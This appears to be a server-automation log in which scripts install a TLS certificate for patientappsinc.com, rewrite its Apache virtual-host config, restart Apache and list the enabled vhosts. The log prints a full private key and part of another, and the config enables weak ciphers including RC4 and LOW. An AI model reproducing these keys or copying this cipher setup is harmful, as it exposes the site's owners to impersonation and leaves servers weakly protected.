fUxPSCzjlwKBgQDa5G2P73BL/UCMOEDGMPEC4KCT7wX1znV17LYAZhklsSnrHp73
zSEpO/r9qhMImnkm8fGsp5Zisal88YWVcpMZR5PKqYho11ZVffx/5q6itR8bQ/8n
HlNDQb4TdgAZjLr5DdUb60MueQAdMvgPA5Ua/8nI5YBJLI2SQKz7c3WtPQKBgFZ2
tcY8V/Tn77/Nf/3MnaMNeMEEQoH3BUdUzqUQKt80kaEMbWRr+sTjLFjlal8KnZ3R
U5wo+nAsOOqGWpEO31/G3qlgWHb9YRGqN8h42fgfwJ92TWDAYQlqo0t4FdsahcIX
sq88shObU9ZOzONMgbbBboIu0Wn2w+yzzD1bF9TBAoGBAJWlUAL9ka5st/XKcyt2
iL1yPP3cEvzz4gqcpku0TdnjF4rmCfYKD4OOsPWWGYWtDFObXIfpY8u4ClqG748g
zT+Hb1y0BI6AhobiIIo1p2TW570twGDy7w7wKPW1oO+6eDhYzXeMhrkL8cAIHDWJ
pbNQFr/1CUxIl63AS4WUmJ1X
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-11-10 06:01:08: Establishing a connection
2025-11-10 06:01:09: Establishing a connection
2025-11-10 06:01:09: 

PUT: /tmp/pkp420267

#!/bin/bash
if [ -d "/var/www/patientappsinc_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-10 06:01:09: 

chmod 755 /tmp/pkp420267; /tmp/pkp420267; rm /tmp/pkp420267

2025-11-10 06:01:09: 


0


2025-11-10 06:01:41: Establishing a connection
2025-11-10 06:01:41: 

PUT: /tmp/pkp555187

#!/bin/bash
temp_file=$(mktemp)
TARGET=7CDF9F2FFCE67F19977AD2F2DDA28042.crt

cat > $temp_file <<'endmsg'
5d:62:50:20:c9:43:cd:a6:3f:19:21:b2:8a:f4:5b:ea

-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgISBut27qscMTzTMsDHjtTdnn0zMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEwMDUwMzEwWhcNMjYwMjA4MDUwMzA5WjAdMRswGQYDVQQD
ExJwYXRpZW50YXBwc2luYy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC32Pbmw4oMBOlkoMcPN8R2SLzmI3u7fY+64O+aTUC/VVFwQ3R5X13oXsZh
nNUxRi+XnA2WomSxFZkA97+tv3oZszFsLoTbcDLGIJ0AR23MQwTkY0VuQY/9KM55
tyzRASUq3jaaCfVNDNJUuaBhKkOfa3kknZOHakVWJaqTJgAXviD+YT+L+Vja10Fx
2DjyJBzc9VAfRkvfC2mt9/nJ6D7wxirJSuja9FJoJ/Pofrix3Ov5fNzbz2MnejVN
sbebO39nOtw6jLVI4j/IuKK8/aWcHlH+2OKY10MmUNxKEfJZ/Pq9weC3Ti+Ho4bv
opF4xwyCxVZDcTs298/qlKDs991pAgMBAAGjggJcMIICWDAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFIwLwPVZMwMrsEvEZp9s2VgjBZFgMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wVwYDVR0RBFAwToIRKi5wYXRpZW50YXBwcy5j
b22CFCoucGF0aWVudGFwcHNpbmMuY29tgg9wYXRpZW50YXBwcy5jb22CEnBhdGll
bnRhcHBzaW5jLmNvbTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzUyLmNybDCCAQQGCisGAQQB1nkC
BAIEgfUEgfIA8AB2AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp3fjDAAAB
mmxbGZUAAAQDAEcwRQIhAKL8OfPcSsScBMUQHncrj97fMbwW0eyFYlUHyCbouK3o
AiAoj9E6YxZmn3gSCGHG2+w+zu6Ng6Fnj0K3Ll5pOV+lqgB2AMs49xWJfIShRF9b
wd37yW7ymlnNRwppBYWwyxTDFFjnAAABmmxbGccAAAQDAEcwRQIhAJCXMDvKTspb
K5XiXzOb/tjIfmFJsNT3es1t2udXhgMZAiA6HOrj5iUbk4vKJEGkQh31H80TXhYS
c5ZZByeKRycU6jANBgkqhkiG9w0BAQsFAAOCAQEA06PufTRNhl+7FyMvgXETLdCc
NSn/eBYtP0QHw2ME5nEWBLVE5PBfe+qAn8yrIZSRSDMnpkhXYESoEJkZ6Ib4HL7r
B8WsbIPGw3OBnK6qP8MtLKsQXhYy922chkppd3FMhLNBX33Bj10qoi9LT/yxhH3S
IXS62MR6SO/O7/qZEg06Q5T2SfZHcq+KIM+1PSIa0WYSL3VpLtSbg/6mDZnzdIGK
yE08G+uqIhrxam8T2ifacCufp+d0aOTAoB2orxQbSICd4ZIYiQfONOYSvBHlW4WP
XlHRMkXPmgbaENpAWXHtP7Yv27DMxMhU595ZPLx6anarixNVIsYkdggOlm46MA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC32Pbmw4oMBOlk
oMcPN8R2SLzmI3u7fY+64O+aTUC/VVFwQ3R5X13oXsZhnNUxRi+XnA2WomSxFZkA
97+tv3oZszFsLoTbcDLGIJ0AR23MQwTkY0VuQY/9KM55tyzRASUq3jaaCfVNDNJU
uaBhKkOfa3kknZOHakVWJaqTJgAXviD+YT+L+Vja10Fx2DjyJBzc9VAfRkvfC2mt
9/nJ6D7wxirJSuja9FJoJ/Pofrix3Ov5fNzbz2MnejVNsbebO39nOtw6jLVI4j/I
uKK8/aWcHlH+2OKY10MmUNxKEfJZ/Pq9weC3Ti+Ho4bvopF4xwyCxVZDcTs298/q
lKDs991pAgMBAAECggEBAKSagC0Kg+3Q8/phrPgmESNqap6OxHiQqgBC5qO7aS4l
wF2IN5930Ed9m5bH6WVNlsziLpRg31BhqvTf3OE+X57k/moCmHc0VHFpv8gBLABH
PPkTHJXj43xhbcQySdDzeoiQHkj6g4Mx6Jts+3gjdBonCnbLEsyaTGweG0PWMR0P
XDWQCCog/s3zGPvNEvlbHLHM94laAZZYdUa+h7MeqPiADFEdd4dxFCFgEAhzFVN7
sJYCSWhhS8MVpXnz1pe5ECFCKS6MRKh7yej3I15ospk96ZgxbefojqiOHNL51pV/
DHUW2gOLVscouE6pbbxGqkwWnSbrbv0AJe/0G8QRjYECgYEA3psNNwK9r5IHx0lF
0GhVmCbrvi2zDIGx1qLCk797VM5LOija6jAdcOuYsL4ENbx4tgviZ4Rhgiyev85j
ZZGfY55LiCJAL8amvXybJsQTRU+j0+dU9bpLMtDDn7W5K5l5WCc9bs62CRy+ofM7
4VtJx9KNC4L0TMgEVKg9Ig9pBJkCgYEA021x13Y6Sqdv54ySrOuGnj0VLIFt/kYD
Qbb1RW8mP7LUetmyWwZ5co8EoEfHcWd+U5RaS9SNnjnzhsanqBIi54MRD23TnMpB
0OMBNz3e0IVMWgBy4Q2e1bJeTJu3lniW7Yu451Q+AMo+D4xk9WGhl08ey1qU+tth
gAyT9RkxUVECgYEAlmBH3RGM8j3D42wsLU1OBSrFtgNJIPm8GTJ6HzULK47wYqmW
uP0n5lBBJaQ3U9Wt9cyxdRyIgleCJjBWFRb6hWE5xQzeL2gS246BgP6Txg62rT9o
tVbT1dARVqJ8JGfZASQA7AnYDu/MF7soiGQSw1oIze34+qVjx4yfP5MJboECgYB5
5Od1aVxCHjaOMKV/vGpoYJ8MgbKAnqzR/kF6PpK2tst56HjDsf/i5EGuhrOd1iUm
2qkUfv8G8jJMyctvQsWM5Cu50X/nLVS0savJxYnofnF+kjOpPMkOOz/SuxQlVHDv
k1aPSCpXGkKdhDvQnPEk4yDF7PtnhYO454eGD3g3gQKBgC0QdggmI5LLZvlnFP6/
F3kcR8m/RJZRt/7UBi1qRBN647fOilP5OTcttMYY1N4EGPm6WSoQXC8wE1+ZKQPE
lARaXVjz4z8og+1WSa3jZHW7SSayDM7ZaqQHOLAk51A0Na+jGmliDF9rLVQSccbn
Z1vA9j6nUUO+FppnkgBpb9nQ
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-10 06:01:41: 

chmod 755 /tmp/pkp555187; /tmp/pkp555187; rm /tmp/pkp555187

2025-11-10 06:01:41: 


dir=/etc/ssl/certs


2025-11-10 06:01:41: 

PUT: /tmp/pkp925463

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientappsinc_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-10 06:01:41: 

chmod 755 /tmp/pkp925463; /tmp/pkp925463; rm /tmp/pkp925463

2025-11-10 06:01:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientappsinc_www_com.conf 46
<VirtualHost *:80>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_www
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
    DocumentRoot	/var/www/patientappsinc_www
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.php index.htm
</VirtualHost>






2025-11-10 06:01:41: 

PUT: /tmp/pkp171049

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientappsinc_www_com.conf
TARGET=/etc/apache2/sites-enabled/patientappsinc_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientappsinc_www
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.php index.htm
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientappsinc.com
    ServerAlias	www.patientappsinc.com patientapps.com www.patientapps.com
    #    ServerAlias periop-ecare.com periopecare.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7CDF9F2FFCE67F19977AD2F2DDA28042.crt
    DocumentRoot	/var/www/patientappsinc_www
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    <Directory /var/www/patientappsinc_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientappsinc/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientappsinc/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.php index.htm
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientappsinc_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientappsinc_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/patientappsinc_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientappsinc_www_com.conf= 1'
fi


2025-11-10 06:01:41: 

chmod 755 /tmp/pkp171049; /tmp/pkp171049; rm /tmp/pkp171049

2025-11-10 06:01:41: 




2025-11-10 06:01:41: 

PUT: /tmp/pkp632217

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-10 06:01:41: 

chmod 755 /tmp/pkp632217; /tmp/pkp632217; rm /tmp/pkp632217

2025-11-10 06:01:42: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-10 06:01:42: Establishing a connection
2025-11-10 06:01:42: 

PUT: /tmp/pkp871850

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-10 06:01:42: 

chmod 755 /tmp/pkp871850; /tmp/pkp871850; rm /tmp/pkp871850

2025-11-10 06:01:42: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
